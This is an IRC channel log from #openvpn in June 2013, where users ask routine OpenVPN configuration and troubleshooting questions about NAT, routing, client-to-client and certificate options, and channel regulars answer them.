17:48 < hfp> But on the 443 TCP I cannot browse or ping or anything
17:48 < hfp> On the 1194 UDP connection everything is fine
17:49 < EugeneKay> Did you set up the NAT rules for the new subnet? ;-)
17:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:51 < hfp> Right :D
17:58 -!- hfp [~hfp@bas1-montreal07-1176499446.dsl.bell.ca] has quit [Remote host closed the connection]
17:59 -!- hfp [~hfp@bas1-montreal07-1176499446.dsl.bell.ca] has joined #openvpn
17:59 < hfp> That worked, thanks
17:59 < hfp> Sorry for the dumb question
18:00 < hfp> Now, the other thing I'm having trouble with is the iptables locking down of my server. Should I ask for assistance here or on the iptables channel?
18:01 < pagios> read UDPv4 [ECONNREFUSED]: Connection refused (code=111 is this only a routing or firewall issue?
18:01 < pagios> how can i tell which problem is it
18:02 < pekster> #netfilter is probably more appropriate if you have general usage questions about security and filtering
18:02 < EugeneKay> Two ##
18:02 < pekster> No, one
18:02 < pekster> #netfilter
18:02 < pekster> [Freenode] -!- ##netfilter: No such nick/channel
18:02 < hfp> Ok thanks
18:03 < EugeneKay> That's new.
18:03 < EugeneKay> (I think?)
18:03 < pekster> Sometimes you can get more direct answers here without explaining the parts about using a VPN, but often you get more complete answers there
18:03 < pekster> It's been single-hash for months now (year+ maybe?)
18:03 < EugeneKay> Or was it ##iptables, that ended up getting redirected.... Hm.
18:03 < EugeneKay> Well, it's been longer since I've peeked in. So that would be why.
18:04 < pekster> So yes, "recent" :)
18:04 < EugeneKay> DAMNED KIDS. IN MY DAY, WE DIDN'T HAVE HASHES
18:04 < EugeneKay> WE JUST HAD TOPICS. AND WE LIKED IT
18:04 < EugeneKay> UPHILL. BOTH WAYS. IN AN ARP STORM.
18:06 < hfp> One more question regarding OpenVPN: ifconfig tun0 shows RX/TX bytes both at 0 but the server has been running for a couple of month and it's seen about 200GB of traffic. Why is tun0 not counting traffic when ifconfig tun1 shows correct RX/TX numbers?
18:06 < EugeneKay> Works right for me.
18:06 < pagios> so this is mainly my configuration client/server:
18:07 < pagios> http://pastebin.com/j5NJ9NHX
18:07 < pagios> i would be happy if you can point me in the right direction so i start troubleshooting firewall and routing once the configuration is fine for openvpn..
18:12 < pagios> i am getting these errors: [ECONNREFUSED]: Connection refused (code=111 without having someone trying to connect
18:12 < rob0> #netfilter is single hash because the channel owner is somewhat affiliated with the Netfilter.org project.
18:12 < rob0> it is an official channel of Netfilter.org
18:13 < rob0> #Netfilter took over #iptables and made it a redirect to #Netfilter
18:14 -!- hfp` [~root@ovpn.t28.net] has joined #openvpn
18:15 -!- hfp [~hfp@bas1-montreal07-1176499446.dsl.bell.ca] has left #openvpn []
18:17 -!- hfp` is now known as hfp
18:18 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
18:19 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
18:20 < pagios> anything wrong with my config
18:20 < pagios> ?
18:21 -!- pagios [~pagios@46.19.194.104] has quit [Quit: Leaving]
18:23 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Ping timeout: 260 seconds]
18:24 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
18:25 < EugeneKay> It's # now. It wasn't always
18:32 -!- Champi [Champi@rootshell.fr] has joined #openvpn
18:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:49 -!- MeanderingCode is now known as MeanderingCode_
18:49 -!- MeanderingCode_ is now known as MeanderingCode
19:04 -!- landono [~landono@199-58-199-98.acedc.net] has quit [Read error: Connection reset by peer]
19:04 -!- landono [~landono@199-58-199-98.acedc.net] has joined #openvpn
19:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:24 -!- baobeiiiii__ [~baobeiiii@192.73.240.212] has quit [Quit: Leaving]
19:34 -!- landono [~landono@199-58-199-98.acedc.net] has quit [Read error: Operation timed out]
19:35 -!- landono [~landono@199-58-199-98.acedc.net] has joined #openvpn
19:40 -!- neytiri [~neytiri@2001:470:860d:127::219] has joined #openvpn
19:40 < neytiri> hwo do i configure the config file for the client, to conenct to a server
19:40 < neytiri> i have been trying for hours and cant seem to get it to work
19:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:44 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
19:44 -!- hfp [~root@ovpn.t28.net] has quit [Quit: WeeChat 0.4.0]
19:46 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
19:52 -!- raidz is now known as raidz_away
19:52 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
19:53 -!- neytiri [~neytiri@2001:470:860d:127::219] has quit [Quit: Leaving]
19:55 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
19:57 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
20:11 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 240 seconds]
20:12 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
20:17 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 268 seconds]
20:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
20:22 -!- zamba [marius@flage.org] has quit [Ping timeout: 240 seconds]
20:24 -!- zamba [marius@flage.org] has joined #openvpn
20:29 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
20:34 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 252 seconds]
20:35 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
20:49 -!- slcres [~slcres@c-50-135-58-124.hsd1.wa.comcast.net] has quit []
20:49 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
20:51 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
21:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
21:34 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
21:56 -!- Devastator- [~devas@186.214.15.80] has joined #openvpn
21:56 -!- Devastator- [~devas@186.214.15.80] has quit [Changing host]
21:56 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
21:56 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
22:01 < eennaam> hi
22:19 -!- nikkiheat [~nikkiheat@70.89.172.206-Busname-CO.hfc.comcastbusiness.net] has joined #openvpn
22:23 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:27 -!- nikkiheat [~nikkiheat@70.89.172.206-Busname-CO.hfc.comcastbusiness.net] has quit [Quit: Nettalk6 - www.ntalk.de]
22:52 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 240 seconds]
23:27 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:29 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 268 seconds]
23:37 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:40 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
23:46 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:51 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
23:53 -!- patchy [~sdf@136.81-167-201.customer.lyse.net] has joined #openvpn
23:57 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has quit [Ping timeout: 276 seconds]
--- Day changed Tue Jun 18 2013
00:02 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Ping timeout: 240 seconds]
00:05 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
00:12 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
00:31 -!- JAVACODER [~JAVACODER@2.190.35.66] has joined #openvpn
00:36 -!- JAVACODER [~JAVACODER@2.190.35.66] has quit [Client Quit]
00:44 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
01:09 -!- emmanuelux [~emmanuelu@94.23.70.250] has quit [Quit: emmanuelux]
01:18 -!- mattock_afk is now known as mattock
01:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 260 seconds]
01:25 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
01:34 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:38 -!- Devastator- [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
01:39 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
01:41 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
01:46 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
01:46 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
01:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:52 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
01:52 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
01:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:57 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
02:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
02:17 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 264 seconds]
02:25 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
02:37 -!- thinkHell [~Hell@85.15.47.27] has quit [Ping timeout: 252 seconds]
02:37 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:44 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
02:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
02:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:18 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
03:19 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
03:20 -!- excalibr [citizen@unaffiliated/excalibr] has quit [Quit: ZNC - http://znc.in]
03:20 -!- Mava [~Mava@ip-45-201.dhcp.opintanner.fi] has joined #openvpn
03:20 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
03:22 < Mava> this is weird: I can see icmp echo's leaving vtun0 from the client using tcpdump, but I cannot see them arriving to the servers vtun0 (again using tcpdump) What on earth!?!
03:23 < Mava> and the ping goes from machine behind client to the server. If I do ping from the client itself to the server then it works
03:23 < Mava> routing is correct (using ospf, which is nicely up )
03:30 < Mava> .. nothing
03:30 < Mava> absolutely nothing...
03:30 < Mava> .. it  surely would be to change the interface to operate in tap mode
03:31 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
03:32 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
03:36 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
03:36 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
03:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
03:41 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
03:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:43 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:45 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
03:48 -!- excalibr [~excalibr@unaffiliated/excalibr] has joined #openvpn
04:13 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Remote host closed the connection]
04:13 -!- Denial [Denial@90.208.15.68] has joined #openvpn
04:15 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 255 seconds]
04:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
04:26 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
04:27 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:30 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Remote host closed the connection]
04:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:32 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:33 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Client Quit]
04:38 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
04:42 -!- thinkHell [~Hell@85.15.47.27] has quit [Quit: ["pop()"]]
04:46 -!- xTz [xtz@deathstar.techn0.eu] has joined #openvpn
04:52 < rawtaz> hey guys. this is a long shot and might not even be appropriate, but i'll ask anyway: has anyone tried to connect to a sonicwall SSL VPN using openvpn as the client?
04:53 < rawtaz> i mean, anyone here. and if so would you care to tell me about your experiences, did you get it running, was there some obvious showstopper, etc?
05:02 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
05:03 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
05:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:10 -!- Denial [Denial@90.208.15.68] has quit []
05:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
05:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
05:32 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
05:32 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
05:33 -!- Denial [Denial@90.205.133.229] has joined #openvpn
05:36 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 246 seconds]
05:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:38 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
05:38 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
05:38 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
05:39 -!- ele_ is now known as ele
05:41 -!- sander^work [~sanderj@195.204.103.102] has joined #openvpn
05:49 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
05:50 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has left #openvpn []
05:52 -!- sander^work [~sanderj@195.204.103.102] has quit [Read error: Connection reset by peer]
05:53 -!- sander^work [~sanderj@195.204.103.102] has joined #openvpn
06:16 -!- Devastator [~devas@186.214.15.80] has joined #openvpn
06:38 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has joined #openvpn
06:38 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
06:41 -!- patchy [~sdf@136.81-167-201.customer.lyse.net] has quit [Ping timeout: 240 seconds]
06:41 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
06:44 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
06:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:53 <@ecrist> rawtaz: you can't do that
06:53 <@ecrist> just because both VPN types use SSL, doesn't mean they are interchangeable.
06:53 <@ecrist> openvpn is it's own protocol, and cannot be used with another vendor's VPN (Sonicwall, Cisco, Juniper, etc)
06:56 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
06:56 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
07:06 -!- excalibr [~excalibr@unaffiliated/excalibr] has quit [Quit: excalibr]
07:11 -!- excalibr [~excalibr@unaffiliated/excalibr] has joined #openvpn
07:12 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
07:17 -!- troj [~xxx@94.242.205.4] has quit [Read error: Operation timed out]
07:17 -!- troj [~xxx@94.242.205.4] has joined #openvpn
07:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
07:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:35 -!- Denial [Denial@90.205.133.229] has quit []
07:35 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
07:35 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:42 -!- Denial [Denial@90.205.133.229] has joined #openvpn
07:53 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
07:53 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
07:54 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:54 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 256 seconds]
07:55 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 256 seconds]
07:59 -!- WormFood [~wormfood@124.42.149.101] has joined #openvpn
08:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds]
08:04 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:04 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
08:05 < nantou> hi, I just installed openvpn from the repo, what do I do now?
08:05 < nantou> do I have to register? does it work only from the terminal?
08:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
08:06 -!- mode/#openvpn [+o plaisthos] by ChanServ
08:09 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
08:09 < AL13N_work> nantou: read all the documentation, until you know what you should do
08:11 < nantou> AL13N_work, am I msiguided following https://www.linux.com/learn/tutorials/457103:install-and-configure-openvpn-server-on-linux ?
08:11 <@vpnHelper> Title: Install and Configure OpenVPN Server on Linux | Linux.com (at www.linux.com)
08:13 < nantou> help, please, im a noob, do I have to provide my real IP?
08:14 < nantou> I have no idea how to know all those variables
08:14 < nantou> In the link I provided, the picture
08:15 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Quit: leaving]
08:15 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
08:17 -!- mattock is now known as mattock_afk
08:18 < AL13N_work> it's too much to explain, and i'm at work
08:19 < AL13N_work> plz read doc, try stuff out until you learn it
08:26 < EugeneKay> !howto
08:26 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
08:26 < EugeneKay> nantou - read ^
08:30 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 246 seconds]
08:34 < EugeneKay> That guide looks like a shitty bridging one. Ignore everything it says
08:35 < AL13N_work> lol
08:38 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
08:48 -!- AL13N_work [~alien@91.183.52.232] has left #openvpn []
08:50 -!- mndo [~mndo@bl17-109-50.dsl.telepac.pt] has joined #openvpn
09:18 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:24 -!- mjixx [~markus@80.67.14.31] has quit [Ping timeout: 256 seconds]
09:50 -!- patchy [~sdf@136.81-167-201.customer.lyse.net] has joined #openvpn
09:53 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has quit [Ping timeout: 256 seconds]
09:59 < rawtaz> ecrist: ok. well i was thinking that it's not uncommon for vendors to use an openvpn implementation, for example i think Clavister does that. i wouldnt be surprised if others do too. but are you sure that sonicwall uses their own?
10:05 <@ecrist> yes, sonicwall uses their own
10:05 <@ecrist> as do cisco and juniper
10:05 <@ecrist> unless it specifically says openvpn, don't assume openvpn will work
10:08 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Quit: leaving]
10:09 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
10:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:12 -!- raidz_away is now known as raidz
10:16 -!- nish [~nish@195.1.174.154] has joined #openvpn
10:16 < nish> !Welcome
10:16 <@vpnHelper> "Welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
10:16 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:19 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has joined #openvpn
10:20 < rawtaz> ecrist: i see. thanks for verifying. yeah i agree.
10:20 < rawtaz> too darn bad. their shitty NetExtender doesnt support multiple concurrent VPNs, you see.
10:22 -!- patchy [~sdf@136.81-167-201.customer.lyse.net] has quit [Ping timeout: 248 seconds]
10:26 <@ecrist> so build an openvpn network.
10:49 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:51 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
10:52 < rawtaz> ecrist: that was not really the topic ;)
10:55 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
10:55 < Kalavera> hey guys I am getting an error like this in my log : TLS: move_session: dest=TM_LAME_DUCK src=TM_ACTIVE reinit_src=1
10:55 < Kalavera> and teh client seems to not be connected either
10:55 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
10:56 < rawtaz> ecrist: i've done that before but in this case i was just curious if anyone had magically gotten openvpn running with that other ssl vpn. which i understand will not happen :)
10:56 < rawtaz> ecrist: in any case, thanks again!
11:17 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:17 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has quit [Read error: Connection reset by peer]
11:18 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has joined #openvpn
11:18 -!- mattock_afk is now known as mattock
11:26 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
11:40 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
11:53 -!- mndo [~mndo@bl17-109-50.dsl.telepac.pt] has quit [Read error: Connection reset by peer]
12:01 -!- michaelhart [~michaelha@162.209.54.120] has left #openvpn []
12:01 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
12:03 -!- dioz_ is now known as dioz
12:07 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
12:08 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
12:09 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:11 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
12:11 < michaelhart> I have a vpn server running a layer 2 tunnel, topology subnet, with 2 clients attached. Each vpn server/client is part of another subnet, and i'm using openvpn essentially to connect three networks. Each vpn server/client is also running quagga with ripd enabled.
12:13 < michaelhart> I've got a problem though, not sure if it's openvpn or quagga that's the issue. the vpn server's quagga instance broadcasts the routes that it knows about to the vpn clients, with the exception of the other vpn client's network. Which results in anything behind vpnclient1 not being able to route to anything behind vpnclient2.
12:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:14 < michaelhart> Any ideas/suggestions about where to look?
12:15 < michaelhart> The vpnclients are broadcasting their routes properly and the server is getting them and adding them to it's own list of routes.
12:22 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Quit: I'm out!]
12:37 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
12:46 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
12:47 -!- hooligan2 [~hooligan@p4FE49636.dip0.t-ipconnect.de] has joined #openvpn
12:51 < hooligan2> hejhej somebody want to earn 5€ for setup a vpn gateway on my vserver with port forwarding ?
12:57 < EugeneKay> Nope.
12:58 < rob0> Those of us who do this sort of thing for pay generally charge far more than that. You are, however, welcome to ask questions in channel and take advantage of the bot's self-help items.
12:59 <@krzee> 5 bitcoin?
12:59 <@krzee> seriously?  hell yes!
13:07 -!- KippiX [~kippix@coquelicot-a.easter-eggs.com] has quit [Quit: leaving]
13:14 -!- hooligan2 [~hooligan@p4FE49636.dip0.t-ipconnect.de] has left #openvpn []
13:22 -!- Netsplit *.net <-> *.split quits: lbft, simcop2387
13:23 -!- Netsplit over, joins: lbft
13:23 -!- Netsplit over, joins: simcop2387
13:24 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
13:32 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
13:41 -!- Devastator [~devas@186.214.15.80] has quit [Changing host]
13:41 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:50 -!- mattock is now known as mattock_afk
13:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:03 -!- mattock_afk is now known as mattock
14:05 -!- emmanuelux [~emmanuelu@94.23.70.250] has joined #openvpn
14:07 < michaelhart> To answer my own question posted earlier, vpn server needs "client-to-client" set, and then vpn clients can see each other's multicast traffic and all is well.
14:12 <@krzee> michaelhart++
14:15 -!- gribs [~quassel@dynamic-vpdn-93-125-67-105.telecom.by] has joined #openvpn
14:18 < gribs> Hi. I am trying to set up openvpn and I almost did it, so I can establish connection between server and client. But client can not reach server by tunnel and vice versa. Could you help me to troubleshoot this problem?
14:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
14:21 <@ecrist> you have to talk to the server's VPN IP, not the public IP
14:22 -!- gribs [~quassel@dynamic-vpdn-93-125-67-105.telecom.by] has quit [Read error: Connection reset by peer]
14:23 -!- gribs [~quassel@dynamic-vpdn-93-125-67-105.telecom.by] has joined #openvpn
14:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:32 -!- dazo is now known as dazo_afk
14:37 -!- midacts [~midacts@207.59.77.254] has quit [Read error: Connection reset by peer]
14:38 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
14:38 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
14:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
14:40 -!- gribs [~quassel@dynamic-vpdn-93-125-67-105.telecom.by] has quit [Remote host closed the connection]
14:54 < Olipro> ns-cert-type refers to the Netscape client/server attributes right?
14:54 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
14:54 < Olipro> (as opposed to the x509 attributes)
14:55 <@krzee> correct
14:55 <@krzee> its deprecated
14:55 < Olipro> what's the preferred argument now?
14:56 <@krzee> 1sec lemme find
14:56 <@krzee> !man
14:56 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:56 <@krzee> --remote-cert-tls client|server
14:57 <@krzee> although if your certs have both, it doesnt matter
14:57 < Olipro> that's the one, thanks
14:57 <@krzee> np
15:06 -!- SlippernFree [slippern@server02.hjemmeserver.info] has joined #openvpn
15:06 -!- SlippernFree is now known as Slippern
15:16 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
15:19 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
15:22 -!- master_o1_master [~master_of@p4FD7B4B1.dip0.t-ipconnect.de] has joined #openvpn
15:23 -!- master_of_master [~master_of@p4FF2411D.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
15:26 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
15:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:52 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
15:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:23 -!- emmanuelux [~emmanuelu@94.23.70.250] has quit [Ping timeout: 268 seconds]
